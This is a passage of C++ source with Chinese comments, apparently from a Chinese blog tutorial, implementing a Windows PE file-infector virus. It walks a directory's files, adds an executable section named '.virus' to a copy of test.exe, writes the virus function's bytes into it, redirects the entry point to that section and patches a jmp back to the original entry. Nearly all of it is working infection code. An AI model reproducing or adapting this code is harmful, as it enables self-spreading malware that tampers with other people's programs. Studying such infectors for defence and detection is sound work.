831.         dwModifyLoca = pNewSec->PointerToRawData; 
832.         dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5; 
833.                  
834.         //  *****定位到程序代码最后的五个字节处***** 
835.         dwSetFileP = mySetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN); 
836.         if (!dwSetFileP) 
837.         { 
838.             goto CloseNewFileHandle; 
839.         } 
840.         //*****修正jmp指令***** 
841.         BYTE bJmp; 
842.         bJmp = 0XE9; 
843.         bWrite = myWriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL); 
844.         if (!bWrite) 
845.         { 
846.             goto CloseNewFileHandle; 
847.         } 
848.         //*****修正跳转地址***** 
849.         bWrite = myWriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL); 
850.         if (!bWrite) 
851.         { 
852.             goto CloseNewFileHandle; 
853.         } 
854.  
855.     // 
856.     //*******扫尾工作******* 
857.     // 
858. CloseNewFileHandle: 
859.     myCloseHandle(hNewFile); 
860. FreeViewOfMap: 
861.     myUnmapViewOfFile(pMapOfFile); 
862. CLOSEMAPHANDLE: 
863.     myCloseHandle(hMapFile); 
864. CLOSEFILEHANDLE: 
865.     myCloseHandle(hFile); 
866. TheNextFile: 
867.     ; 
868.     } while (myFindNextFile(hFileFind , &findBuf)); 
869.  
870.     myFindClose(hFileFind); 
871.  
872.     return; 
873. } 
874.  
875.  
876.  
877. // 
878. //******************************************************************* 
879. //*******主函数******* 
880. //******************************************************************* 
881. // 
882. void main() 
883. { 
884. //******************************************************************* 
885. //*******首先得到程序代码起始地址，结束地址，代码长度******* 
886. //******************************************************************* 
887.     / 
888.     //  *******变量说明******* 
889.     //  **dwFunBegAddr  :程序函数的开始地址 
890.     //  **dwFunEndAddr  :程序函数的结束地址 
891.     //  **dwFunCodeLen  :程序代码长度 
892.     //  **dwJmpOff      :程序函数jmp区到真正入口的偏移 
893.     //  **pMove         :临时的指针变量 
894.     / 
895.     DWORD dwFunBegAddr , dwJmpOff , dwFunEndAddr , dwFunCodeLen; 
896.     PBYTE pMove = NULL; 
897.      
898.     //  *******首先指向程序函数的jmp指令******* 
899.     pMove = (PBYTE)VirusCode; 
900.      
901.     cout << "函数的jmp地址为：" << (PVOID)pMove << endl; 
902.     //  *******定位到jmp后面的偏移处******* 
903.     pMove ++; 
904.  
905.     //  *******把偏移赋值给变量******* 
906.     dwJmpOff = *((PDWORD)pMove); 
907.  
908.     //  *******jmp下一条指令的地址(code + 5)＋偏移得到函数真正的入口地址******* 
909.     dwFunBegAddr = (DWORD)VirusCode + 5 + dwJmpOff; 
910.  
911.     cout << "函数jmp的跳转偏移为：" <<(PVOID)dwJmpOff << endl; 
912.     cout << "开始地址为：" << (PVOID)dwFunBegAddr << endl; 
913.      
914.     //  *******以下通过搜索得到函数的结束地址******* 
915.     //  *******首先把函数的入口地址赋给变量******* 
916.     pMove = (PBYTE)dwFunBegAddr; 
917.  
918.     //  *******向后搜索，直到结尾******* 
919.     while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) == 0xE5))) 
920.     { 
921.         pMove ++; 
922.     } 
923.  
924.     //  *******此时pMove指向ret前一条指令******* 
925.     //  *******pMove向后移5个字节，为程序代码的jmp指令占位******* 
926.     pMove +=5; 
927.     dwFunEndAddr = (DWORD)pMove; 
928.  
929.  
930.     cout << "代码结束地址为：" << (PVOID)dwFunEndAddr << endl; 
931.  
932.     //  *******结束地址减去起始地址，得到代码长度******* 
933.     dwFunCodeLen = dwFunEndAddr - dwFunBegAddr; 
934.  
935.     cout << "总代码长度为：" << (int)dwFunCodeLen << endl; 
936.  
937. //******************************************************************* 
938. //*******以下为在exe文件中添加程序代码******* 
939. //******************************************************************* 
940.     HANDLE hFile , hMapFile; 
941.     LPVOID pMapOfFile = NULL; 
942.      
943. //******************************************************************* 
944. //*******检测文件合法性******* 
945. //******************************************************************* 
946.     //  *******打开文件******* 
947.     hFile = CreateFile("test.exe" , GENERIC_READ , FILE_SHARE_READ |  
948.             FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); 
949.  
950.     if (INVALID_HANDLE_VALUE == hFile) 
951.     { 
952.         cout << "CreateFile Error!" << endl; 
953.         return; 
954.     } 
955.  
956.     //  *******创建文件映射******* 
957.     hMapFile = CreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL); 
958.  
959.     if (!hMapFile) 
960.     { 
961.         cout << "CreateFileMapping Error!" << endl; 
962.         goto CLOSEFILEHANDLE; 
963.     } 
964.  
965.     //  *******把文件映射到内存中******* 
966.     pMapOfFile = MapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0); 
967.  
968.     if (!pMapOfFile) 
969.     { 
970.         cout << "MapViewOfFile Error!" << endl; 
971.         goto CLOSEMAPHANDLE; 
972.     } 
973.  
974.     IMAGE_DOS_HEADER *pDosHeader; 
975.  
976.     //  ********检测DOS文件头******* 
977.     pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile; 
978.  
979.     if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) 
980.     { 
981.         cout << "Check Dos Header Error!" << endl; 
982.         goto FreeViewOfMap; 
983.     } 
984.  
985.     IMAGE_NT_HEADERS *pNtHeader; 
986.  
987.     //  *******检测NT文件头******* 
988.     pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew); 
989.  
990.     if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) 
991.     { 
992.         cout << "Check NT Header Error!" << endl; 
993.         goto FreeViewOfMap; 
994.     } 
995.  
996.  
997. //*************************************************************** 
998. //*******准备工作******* 
999. //*************************************************************** 
1000.     BOOL bCopy; 
1001.  
1002.     //  *******首先把要添加程序代码的文件复制一份******* 
1003.     bCopy = CopyFile("test.exe" , "test_virus.exe" , FALSE); 
1004.     if (!bCopy) 
1005.     { 
1006.         cout << "CopyFile Error!" << endl; 
1007.     } 
1008.  
1009.     HANDLE hNewFile; 
1010.  
1011.     //  *******打开刚刚复制的文件******* 
1012.     hNewFile = CreateFile("test_virus.exe" , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ  
1013.                 | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); 
1014.  
1015.     if (!hNewFile) 
1016.     { 
1017.         cout << "CreateFile Error!" << endl; 
1018.         goto FreeViewOfMap; 
1019.     } 
1020.  
1021.     HGLOBAL pNewFileHeader; 
1022.  
1023.     //  *******为新文件的文件头申请一块内存，用于修改文件头信息******* 
1024.     pNewFileHeader = GlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders); 
1025.  
1026.     if (!pNewFileHeader) 
1027.     { 
1028.         cout << "GlobalAlloc Error!" << endl; 
1029.         goto CloseNewFileHandle; 
1030.     } 
1031.  
1032.     //  *******用原文件头填充这块内存******* 
1033.     RtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders); 
1034.  
1035.     IMAGE_NT_HEADERS *pNewFileNtHeader; 
1036.  
1037.     pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew); 
1038.  
1039. // 
1040. //*******此时的指针信息******* 
1041. //*******pMapOfFile         :   原映射文件的开始 
1042. //*******pDosHeader         :   原映射文件的DOS头也就是文件开始，只不过类型不一样 
1043. //*******pNTHeader          :   原映射文件的NT头 
1044. //*******pNewFileHeader     :   新文件的开始 
1045. //*******pNewFileNtHeader   :   新文件的NT头 
1046. // 
1047. //**************************************************************** 
1048. //*******修改新文件的节表信息******* 
1049. //**************************************************************** 
1050.     int nSecNum; 
1051.     nSecNum = pNtHeader->FileHeader.NumberOfSections; 
1052.     IMAGE_SECTION_HEADER *pLastSec , *pNewSec; 
1053.  
1054.     //  *******定位到原文件中的最后一个节表******* 
1055.     pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS) 
1056.                 + (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER)); 
1057.  
1058.     //  *******pNewSec为最后一个节表的结尾处，也就是新加节表的开头******* 
1059.     pNewSec = pLastSec + 1; 
1060.  
1061.     //*******修改新增节表的相关信息******* 
1062.     //*****节表总数加1***** 
1063.     pNewFileNtHeader->FileHeader.NumberOfSections ++; 
1064.  
1065.     //*****修改新节的文件偏移***** 
1066.     pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData; 
1067.  
1068.     //*****修改新节的文件尺寸***** 
1069.     int nAlignNum; 
1070.  
1071.     nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment; 
1072.     if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0) 
1073.     { 
1074.         nAlignNum++; 
1075.     } 
1076.     pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment; 
1077.  
1078.     //*****修改所有代码长度按内存页对齐后的大小***** 
1079.     nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment; 
1080.     if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) 
1081.     { 
1082.         nAlignNum ++; 
1083.     } 
1084.     pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum *  
1085.                         pNewFileNtHeader->OptionalHeader.SectionAlignment; 
1086.  
1087.     //*****修改文件内存映像尺寸***** 
1088.     pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum *  
1089.                         pNewFileNtHeader->OptionalHeader.SectionAlignment; 
1090.  
1091.     //*****修改新节的内存偏移量***** 
1092.     //*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小***** 
1093.     nAlignNum = pLastSec->Misc.VirtualSize /  
1094.                 pNewFileNtHeader->OptionalHeader.SectionAlignment; 
1095.     if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) 
1096.     { 
1097.         nAlignNum ++; 
1098.     } 
1099.     pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment + 
1100.                                 pLastSec->VirtualAddress; 
1101.  
1102.     //*****修改新节的内存尺寸***** 
1103.     pNewSec->Misc.VirtualSize = dwFunCodeLen; 
1104.  
1105.     //*****更新新节属性***** 
1106.     pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |  
1107.                     IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE; 
1108.  
1109.     //*****更新节名***** 
1110.     strcpy((char*)pNewSec->Name , ".virus"); 
1111.  
1112.     //*****更新入口地址***** 
1113.  
1114.     pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress; 
1115.  
1116.     BOOL bWrite; 
1117.     DWORD dwHeaderSize , dwWriten; 
1118.     dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders); 
1119.     bWrite = WriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize , &dwWriten , NULL); 
1120.  
1121.     //*****向文件中添加程序代码***** 
1122.     DWORD dwSetFileP; 
1123.  
1124.     //*****定位到新文件中新节开始处***** 
1125.     dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData , NULL , FILE_BEGIN); 
1126.     if (!dwSetFileP) 
1127.     { 
1128.         cout << "SetFilePointer Error!" << endl; 
1129.         goto CloseNewFileHandle; 
1130.     } 
1131.  
1132.     //*****写入程序代码***** 
1133.     bWrite = WriteFile(hNewFile , (LPVOID)dwFunBegAddr , dwFunCodeLen , &dwWriten , NULL); 
1134.     if (!bWrite) 
1135.     { 
1136.         cout << "Write Virus Code Error!" << endl; 
1137.         goto CloseNewFileHandle; 
1138.     } 
1139.  
1140.     //*****定位到文件尾部***** 
1141.     dwSetFileP = SetFilePointer(hNewFile , pNewSec->PointerToRawData +  
1142.                     pNewSec->SizeOfRawData , NULL , FILE_BEGIN); 
1143.     if (!dwSetFileP) 
1144.     { 
1145.         cout << "SetFilePointer End Error!" << endl; 
1146.         goto CloseNewFileHandle; 
1147.     } 
1148.  
1149.     //*****设定文件结束***** 
1150.     if (!SetEndOfFile(hNewFile)) 
1151.     { 
1152.         cout << "SetEndOfFile Error!" << endl; 
1153.         goto CloseNewFileHandle; 
1154.     } 
1155.  
1156.     //*******修正原入口地址******* 
1157.     PBYTE pModifyAddr; 
1158.     pModifyAddr = (PBYTE)pNewSec->VirtualAddress; 
1159.  
1160.     pModifyAddr += dwFunCodeLen; 
1161.     //printf("%x\n" , pModifyAddr); 
1162.  
1163.     int nSub;    //跳转的距离 
1164.     nSub = (PBYTE)(pNtHeader->OptionalHeader.AddressOfEntryPoint) - pModifyAddr; 
1165.  
1166.     DWORD dwModifyLoca; 
1167.     dwModifyLoca = pNewSec->PointerToRawData; 
1168.     dwModifyLoca = dwModifyLoca + dwFunCodeLen - 5; 
1169.     //dwModifyLoca ++; 
1170.  
1171.     //  *****定位到程序代码最后的五个字节处***** 
1172.     dwSetFileP = SetFilePointer(hNewFile , dwModifyLoca , NULL , FILE_BEGIN); 
1173.     if (!dwSetFileP) 
1174.     { 
1175.         cout << "Modify Address SetFilePointer Error!" << endl; 
1176.         goto CloseNewFileHandle; 
1177.     } 
1178.     //*****修正jmp指令***** 
1179.     BYTE bJmp; 
1180.     bJmp = 0XE9; 
1181.     bWrite = WriteFile(hNewFile , &bJmp , 1 , &dwWriten , NULL); 
1182.     if (!bWrite) 
1183.     { 
1184.         cout << "Modify Address WriteFile Error!" << endl; 
1185.         goto CloseNewFileHandle; 
1186.     } 
1187.     //*****修正跳转地址***** 
1188.     bWrite = WriteFile(hNewFile , &nSub , 4 , &dwWriten , NULL); 
1189.     if (!bWrite) 
1190.     { 
1191.         cout << "Modify Address WriteFile Error!" << endl; 
1192.         goto CloseNewFileHandle; 
1193.     } 
1194.  
1195. //**************************************************************** 
1196. //*******扫尾工作******* 
1197. //**************************************************************** 
1198. CloseNewFileHandle: 
1199.     CloseHandle(hNewFile); 
1200. FreeViewOfMap: 
1201.     UnmapViewOfFile(pMapOfFile); 
1202. CLOSEMAPHANDLE: 
1203.     CloseHandle(hMapFile); 
1204. CLOSEFILEHANDLE: 
1205.     CloseHandle(hFile); 
1206. }
1207. 原文地址：http://blog.youkuaiyun.com/yincheng01/article/details/7214473